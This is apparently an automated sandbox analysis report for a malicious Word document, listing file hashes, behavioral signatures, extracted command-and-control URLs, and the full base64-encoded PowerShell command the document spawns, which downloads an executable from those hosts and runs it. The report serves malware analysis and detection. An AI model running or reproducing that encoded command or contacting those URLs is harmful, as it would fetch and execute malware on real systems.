Analysis
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max time kernel
138s -
max time network
165s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
26-05-2024 10:25
Behavioral task
behavioral1
Sample
752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc
Resource
win10v2004-20240226-en
General
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Target
752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc
-
Size
122KB
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MD5
752dbb7512d8035e11849fa0d7f488b3
-
SHA1
950618a6e5887cbff4741b4dd0e139579474788b
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SHA256
bd492e2cd0f18bf045ae272d00e3043275c5df7745d3441c1680ceba44a9b68a
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SHA512
e8ee383f7e850c6ea3913374634b1aa00635317d4a9628be70ec54a472a4e76d25c706e6c46501b7309e5f2c07398022d5f07b1c3555a60804de56d68c850129
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SSDEEP
1536:RGJ9T76bf0wKUmywQmBVoqvykW7SAeDS3SySUwesvkpi5RtULbfJ:YT76bbMVRvS8LUwesMpi5mbfJ
Malware Config
Extracted
http://89.223.89.8/rez-senqo/o402ek2m.php
http://sudetztend.com/rez-senqo/o402ek2m.php?l=yuptb2.dds
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3848 868 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 59 3848 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 868 WINWORD.EXE 868 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3848 powershell.exe 3848 powershell.exe 3848 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3848 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 868 WINWORD.EXE 868 WINWORD.EXE 868 WINWORD.EXE 868 WINWORD.EXE 868 WINWORD.EXE 868 WINWORD.EXE 868 WINWORD.EXE 868 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 868 wrote to memory of 3848 868 WINWORD.EXE powershell.exe PID 868 wrote to memory of 3848 868 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\752dbb7512d8035e11849fa0d7f488b3_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -Exec Bypass -EC JABpAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACIAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACIAKQA7AA0ACgAkAG0AZQB0AGgAbwBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AF0ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQA7AA0ACgBmAG8AcgBlAGEAYwBoACgAJABtACAAaQBuACAAJABtAGUAdABoAG8AZAApAHsADQAKAA0ACgANAAoAIAAgAGkAZgAoACQAbQAuAE4AYQBtAGUAIAAtAGUAcQAgACIARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACIAKQB7AA0ACgAgACAAIAAgACAAdAByAHkAewANAAoADQAKACAAIAAgACAAIAAgACAAJAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAOgAvAC8AOAA5AC4AMgAyADMALgA4ADkALgA4AC8AcgBlAHoALQBzAGUAbgBxAG8ALwBvADQAMAAyAGUAawAyAG0ALgBwAGgAcAAiADsADQAKACAAIAAgACAAIAAgACAASQBFAFgAKAAkAG0ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAoACQAdQByAGkAKQApACkAOwANAAoACQANAAoAIAAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQANAAoAIAAgAH0ADQAKAA0ACgAgACAAaQBmACgAJABtAC4ATgBhAG0AZQAgAC0AZQBxACAAIgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAiACkAewANAAoAIAAgACAAIAAgAHQAcgB5AHsADQAKACAAIAAgACAAIAAkAHUAcgBpACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFUAcgBpACgAIgBoAHQAdABwADoALwAvAHMAdQBkAGUAdAB6AHQAZQBuAGQALgBjAG8AbQAvAHIAZQB6AC0AcwBlAG4AcQBvAC8AbwA0ADAAMgBlAGsAMgBtAC4AcABoAHAAPwBsAD0AeQB1AHAAdABiADIALgBkAGQAcwAiACkADQAKACAAIAAgACAAIAAkAHIAZQBzAHAAbwBuAHMAZQAgAD0AIAAkAG0ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAoACQAdQByAGkAKQApADsADQAKAA0ACgAgACAAIAAgACAAJABwAGEAdABoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoARwBlAHQARgBvAGwAZABlAHIAUABhAHQAaAAoACIAQwBvAG0AbQBvAG4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEQAYQB0AGEAIgApACAAKwAgACIAXABcAG4AYQBqAEMAcwBxAC4AZQB4AGUAIgA7AA0ACgAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAcABhAHQAaAAsACAAJAByAGUAcwBwAG8AbgBzAGUAKQA7AA0ACgANAAoAIAAgACAAIAAgACQAYwBsAHMAaQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABHAHUAaQBkACAAJwBDADAAOABBAEYARAA5ADAALQBGADIAQQAxAC0AMQAxAEQAMQAtADgANAA1ADUALQAwADAAQQAwAEMAOQAxAEYAMwA4ADgAMAAnAA0ACgAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgAFsAVAB5AHAAZQBdADoAOgBHAGUAdABUAHkAcABlAEYAcgBvAG0AQwBMAFMASQBEACgAJABjAGwAcwBpAGQAKQANAAoAIAAgACAAIAAgACQAbwBiAGoAZQBjAHQAIAA9ACAAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHQAeQBwAGUAKQANAAoAIAAgACAAIAAgACQAbwBiAGoAZQBjAHQALgBEAG8AYwB1AG0AZQBuAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ALgBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAoACQAcABhAHQAaAAsACQAbgB1AGwALAAgACQAbgB1AGwALAAgACQAbgB1AGwALAAwACkADQAKAA0ACgAgACAAIAAgACAAfQBjAGEAdABjAGgAewB9AA0ACgAgACAAIAAgACAADQAKACAAIAB9AA0ACgB9AA0ACgANAAoARQB4AGkAdAA7AA0ACgANAAoA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3848
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4072 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:81⤵PID:764
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82